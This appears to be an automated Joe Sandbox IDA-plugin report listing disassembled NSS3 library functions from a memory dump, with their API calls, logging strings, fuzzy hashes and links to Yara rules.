Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageEncryptInit$njl
API String ID: 332880674-2126863777
Opcode ID: d954ff705a8c5787b8886d066d5d1bc63cfd70e4bdec5302271f73cd308cd88f
Instruction ID: 9e3ac338ea217fb90f0a56fad6758249be35f79a73e979daad107542c62dfd90
Opcode Fuzzy Hash: d954ff705a8c5787b8886d066d5d1bc63cfd70e4bdec5302271f73cd308cd88f
Instruction Fuzzy Hash: 6431F371701244ABCB01DF94ECC8BEE37B6AB8631CF044429E91967A41DB309C18CB9F

Function 6C5C2DD0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6C5C2DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C2E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C2E33

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C2E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C5C2E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C5C2E81

Strings

ulPinLen = %d, xrefs: 6C5C2E7C
hSession = 0x%x, xrefs: 6C5C2E0E, 6C5C2E1E
(CK_INVALID_HANDLE), xrefs: 6C5C2E2C
njl, xrefs: 6C5C2E99, 6C5C2EC4
C_InitPIN, xrefs: 6C5C2DF1
pPin = 0x%p, xrefs: 6C5C2E63

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN$njl
API String ID: 1003633598-3499650771
Opcode ID: b3a11ac79b4ff9cda718042de2925a972519eac7c4d4391e5093376d23e60c62
Instruction ID: 46569a0cb7fda23686e5aa9f2ab9581d24b6c9e3c321ecd8b60b35f3bc96625a
Opcode Fuzzy Hash: b3a11ac79b4ff9cda718042de2925a972519eac7c4d4391e5093376d23e60c62
Instruction Fuzzy Hash: 7C31F175701154ABCB00DB95EDCCBAA37B6EB82318F044029E919B7A11DB309C19CFAE

Function 6C5C7E00 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyUpdate), ref: 6C5C7E26
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C7E54
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C7E63

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C7E79
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C5C7E98
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C5C7EB1

Strings

hSession = 0x%x, xrefs: 6C5C7E3E, 6C5C7E4E
pPart = 0x%p, xrefs: 6C5C7E93
(CK_INVALID_HANDLE), xrefs: 6C5C7E5C
C_VerifyUpdate, xrefs: 6C5C7E21
ulPartLen = %d, xrefs: 6C5C7EAC
njl, xrefs: 6C5C7EC9, 6C5C7EF7

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_VerifyUpdate$njl
API String ID: 1003633598-2320704767
Opcode ID: 274c17c542e29dbdb97171c11d3036076c86c9dbf19f5cded2a0937a409741d3
Instruction ID: d2f23d26efce15219424c9e30ee6a421e99dce046f88b7b31e7006173a53854d
Opcode Fuzzy Hash: 274c17c542e29dbdb97171c11d3036076c86c9dbf19f5cded2a0937a409741d3
Instruction Fuzzy Hash: 1A31EB75701154EBD700DBA5EDC8F9B37B6EB82358F044029E91967A11DB309C19CF9E

Function 6C5C6EF0 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6C5C6F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C6F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C6F53

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C6F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6C5C6F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6C5C6FA1

Strings

hSession = 0x%x, xrefs: 6C5C6F2E, 6C5C6F3E
C_DigestUpdate, xrefs: 6C5C6F11
pPart = 0x%p, xrefs: 6C5C6F83
(CK_INVALID_HANDLE), xrefs: 6C5C6F4C
ulPartLen = %d, xrefs: 6C5C6F9C
njl, xrefs: 6C5C6FB9, 6C5C6FE7

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate$njl
API String ID: 1003633598-1973327784
Opcode ID: fcc51b51b11cb93aa2651ab177cc42ad803c64c04c2231345d658986f19a4154
Instruction ID: ce4faa8eca27eac3b919add1afdb107d5af73b91e7fad1c8367a1ec4f8214762
Opcode Fuzzy Hash: fcc51b51b11cb93aa2651ab177cc42ad803c64c04c2231345d658986f19a4154
Instruction Fuzzy Hash: 1631C4357011549FDB00DB95EDC8BAA37B2EB82318F044029E919A7A11DB30DD59CF9E

Function 6C5C7F30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_VerifyFinal), ref: 6C5C7F56
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C5C7F84
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C5C7F93

Part of subcall function 6C6AD930: PL_strncpyz.NSS3(?,?,?), ref: 6C6AD963

PR_LogPrint.NSS3(?,00000000), ref: 6C5C7FA9
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6C5C7FC8
PR_LogPrint.NSS3( ulSignatureLen = %d,?), ref: 6C5C7FE1

Strings

pSignature = 0x%p, xrefs: 6C5C7FC3
hSession = 0x%x, xrefs: 6C5C7F6E, 6C5C7F7E
C_VerifyFinal, xrefs: 6C5C7F51
(CK_INVALID_HANDLE), xrefs: 6C5C7F8C
ulSignatureLen = %d, xrefs: 6C5C7FDC
njl, xrefs: 6C5C7FF9, 6C5C8027

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pSignature = 0x%p$ ulSignatureLen = %d$ (CK_INVALID_HANDLE)$C_VerifyFinal$njl
API String ID: 1003633598-4265845703
Opcode ID: 0b4f985265197e48fb6282f2a2b8941ee82a6dc48c8c37e77403f4c2ffd1a77f
Instruction ID: 19f46b9fe07a9dd2a3d1d1f79280b24329b4ce8fbcff006f5effdb124c64cff5
Opcode Fuzzy Hash: 0b4f985265197e48fb6282f2a2b8941ee82a6dc48c8c37e77403f4c2ffd1a77f
Instruction Fuzzy Hash: BB310735701154EBDB00DB95ECC8F9A3BB2EB82358F044029E91967A11DB309C58CFAF

Function 6C58AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6C58AF47

Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590AB
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C6590C9
Part of subcall function 6C659090: EnterCriticalSection.KERNEL32 ref: 6C6590E5
Part of subcall function 6C659090: TlsGetValue.KERNEL32 ref: 6C659116
Part of subcall function 6C659090: LeaveCriticalSection.KERNEL32 ref: 6C65913F

FreeLibrary.KERNEL32(?), ref: 6C58AF6D
free.MOZGLUE(?), ref: 6C58AFA4
free.MOZGLUE(?), ref: 6C58AFAA
PR_ExitMonitor.NSS3 ref: 6C58AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6C58AFF5
PR_ExitMonitor.NSS3 ref: 6C58B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C58B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6C58B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6C58B03C

Strings

%s decr => %d, xrefs: 6C58AFF0
Unloaded library %s, xrefs: 6C58B023

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: aaf608c676cc5dade8ba0692c372ae81327ee4b47c14dbfbd416830325070351
Instruction ID: a5b87b048375cb56d6b5122f19de3ab3c28c9070dced219aa04cef9c4eef8c6a
Opcode Fuzzy Hash: aaf608c676cc5dade8ba0692c372ae81327ee4b47c14dbfbd416830325070351
Instruction Fuzzy Hash: 03313BF9B05030ABD701EF65EC80A19B775EB4634CF144125E81687A41F732E825CBEE

Function 6C5D6C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C5D781D,00000000,6C5CBE2C,?,6C5D6B1D,?,?,?,?,00000000,00000000,6C5D781D), ref: 6C5D6C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C5D781D,?,6C5CBE2C,?), ref: 6C5D6C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C5D781D), ref: 6C5D6C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C5D6C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C5D6C96

Part of subcall function 6C581240: TlsGetValue.KERNEL32(00000040,?,6C58116C,NSPR_LOG_MODULES), ref: 6C581267
Part of subcall function 6C581240: EnterCriticalSection.KERNEL32(?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C58127C
Part of subcall function 6C581240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C581291
Part of subcall function 6C581240: PR_Unlock.NSS3(?,?,?,?,6C58116C,NSPR_LOG_MODULES), ref: 6C5812A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C5D6CAA

Strings

sql:, xrefs: 6C5D6C52
dbm, xrefs: 6C5D6CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6C5D6C91
rdb:, xrefs: 6C5D6C69
dbm:, xrefs: 6C5D6C3A
extern:, xrefs: 6C5D6C7E

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 76a98489fadb91dfa5d9f7a0bcc3eaafa72a9b30b7aa5ef7c2df542cb6339175
Instruction ID: d990a4c9422094c13bac8bab5cb2179ebb7d1005e1ca5354860ae601bbb09a70
Opcode Fuzzy Hash: 76a98489fadb91dfa5d9f7a0bcc3eaafa72a9b30b7aa5ef7c2df542cb6339175
Instruction Fuzzy Hash: 5701F7B17023013BE660277E6C8AF23350C9F51159F150832FE15E0945FFA2F51A40AE

Function 6C5E4E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6C5A78F8), ref: 6C5E4E6D

Part of subcall function 6C5809E0: TlsGetValue.KERNEL32(00000000,?,?,?,6C5806A2,00000000,?), ref: 6C5809F8
Part of subcall function 6C5809E0: malloc.MOZGLUE(0000001F), ref: 6C580A18
Part of subcall function 6C5809E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6C580A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6C5A78F8), ref: 6C5E4ED9

Part of subcall function 6C5D5920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6C5D7703,?,00000000,00000000), ref: 6C5D5942
Part of subcall function 6C5D5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C5D7703), ref: 6C5D5954
Part of subcall function 6C5D5920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C5D596A
Part of subcall function 6C5D5920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6C5D5984
Part of subcall function 6C5D5920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6C5D5999
Part of subcall function 6C5D5920: free.MOZGLUE(00000000), ref: 6C5D59BA
Part of subcall function 6C5D5920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6C5D59D3
Part of subcall function 6C5D5920: free.MOZGLUE(00000000), ref: 6C5D59F5
Part of subcall function 6C5D5920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6C5D5A0A
Part of subcall function 6C5D5920: free.MOZGLUE(00000000), ref: 6C5D5A2E
Part of subcall function 6C5D5920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6C5D5A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E4EB3

Part of subcall function 6C5E4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C5E4EB8,?,?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E484C
Part of subcall function 6C5E4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6C5E4EB8,?,?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E486D
Part of subcall function 6C5E4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6C5E4EB8,?), ref: 6C5E4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E4EC0

Part of subcall function 6C5E4470: TlsGetValue.KERNEL32(00000000,?,6C5A7296,00000000), ref: 6C5E4487
Part of subcall function 6C5E4470: EnterCriticalSection.KERNEL32(?,?,?,6C5A7296,00000000), ref: 6C5E44A0
Part of subcall function 6C5E4470: PR_Unlock.NSS3(?,?,?,?,6C5A7296,00000000), ref: 6C5E44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E4F8F
PK11_UpdateSlotAttribute.NSS3(?,6C6BDCB0,00000000), ref: 6C5E4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6C5E501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6C5A78F8), ref: 6C5E506B

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 01e7ce429a32d4ec6b6817b1659f3a167bc520b4b34a92e466f633965f8b8606
Instruction ID: c240fde12e77f3023178e3f6bbe150814a0c15b4f83df34b546b9b47ba09b0e4
Opcode Fuzzy Hash: 01e7ce429a32d4ec6b6817b1659f3a167bc520b4b34a92e466f633965f8b8606
Instruction Fuzzy Hash: B851F3B1D00201DBEB01AF65EC45A9B37B5EF4931CF040635EC5A86B11FB31E928CB96

Function 6C58ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C58ACE2
malloc.MOZGLUE(00000001), ref: 6C58ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C58AD02
TlsGetValue.KERNEL32 ref: 6C58AD3C
calloc.MOZGLUE(00000001,?), ref: 6C58AD8C
PR_Unlock.NSS3 ref: 6C58ADC0
free.MOZGLUE(00000000), ref: 6C58AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6C58AE58
free.MOZGLUE(00000000), ref: 6C58AE69
free.MOZGLUE(?), ref: 6C58AE78
PR_Unlock.NSS3 ref: 6C58AE8C
free.MOZGLUE(?), ref: 6C58AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C58AEC7

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: f09fadf8657187eeaa2b82afb2c4b564beec58d642050337ff5d18c08cf1f279
Instruction ID: 4dd0d3dbf3c4132618fadfab26e5eb6ae7455de1e5d91ec2305208904cc3a81d
Opcode Fuzzy Hash: f09fadf8657187eeaa2b82afb2c4b564beec58d642050337ff5d18c08cf1f279
Instruction Fuzzy Hash: 4151C2B1E031359BDF00DF9AEC816AE77B5BB0A348F140526D815A7B80D331E915CBEA

Function 6C664C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6C664CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C664CFD
sqlite3_value_text16.NSS3(?), ref: 6C664D44

Strings

abort due to ROLLBACK, xrefs: 6C664D27, 6C664D33
no more rows available, xrefs: 6C664D2E
bad parameter or other API misuse, xrefs: 6C664D05
out of memory, xrefs: 6C664C78, 6C664C9E
another row available, xrefs: 6C664D20
API call with %s database connection pointer, xrefs: 6C664CF6
invalid, xrefs: 6C664CF1
unknown error, xrefs: 6C664D56

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 7b876d77c27dbca82be34c90872ff1681fa2afdb1881d2f7e5c58032254fb813
Instruction ID: 743afdd093bd0aeee2b69bdb45d3f4514c3c5ddcfa0467a4d4078f9009832aa0
Opcode Fuzzy Hash: 7b876d77c27dbca82be34c90872ff1681fa2afdb1881d2f7e5c58032254fb813
Instruction Fuzzy Hash: 18313972E09951ABD708CA27E8317F573A2BB8231CF150125D42447F55CBE1AC5283DF

Function 6C5C2CD0 Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C5C2CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C5C2D07

Part of subcall function 6C6A09D0: PR_Now.NSS3 ref: 6C6A0A22
Part of subcall function 6C6A09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C6A0A35
Part of subcall function 6C6A09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C6A0A66
Part of subcall function 6C6A09D0: PR_GetCurrentThread.NSS3 ref: 6C6A0A70
Part of subcall function 6C6A09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C6A0A9D
Part of subcall function 6C6A09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C6A0AC8
Part of subcall function 6C6A09D0: PR_vsmprintf.NSS3(?,?), ref: 6C6A0AE8
Part of subcall function 6C6A09D0: EnterCriticalSection.KERNEL32(?), ref: 6C6A0B19
Part of subcall function 6C6A09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C6A0B48
Part of subcall function 6C6A09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C6A0C76
Part of subcall function 6C6A09D0: PR_LogFlush.NSS3 ref: 6C6A0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C5C2D22

Part of subcall function 6C6A09D0: OutputDebugStringA.KERNEL32(?), ref: 6C6A0B88
Part of subcall function 6C6A09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C6A0C5D
Part of subcall function 6C6A09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C6A0C8D
Part of subcall function 6C6A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6A0C9C
Part of subcall function 6C6A09D0: OutputDebugStringA.KERNEL32(?), ref: 6C6A0CD1
Part of subcall function 6C6A09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C6A0CEC
Part of subcall function 6C6A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6A0CFB
Part of subcall function 6C6A09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C6A0D16
Part of subcall function 6C6A09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C6A0D26
Part of subcall function 6C6A09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C6A0D35
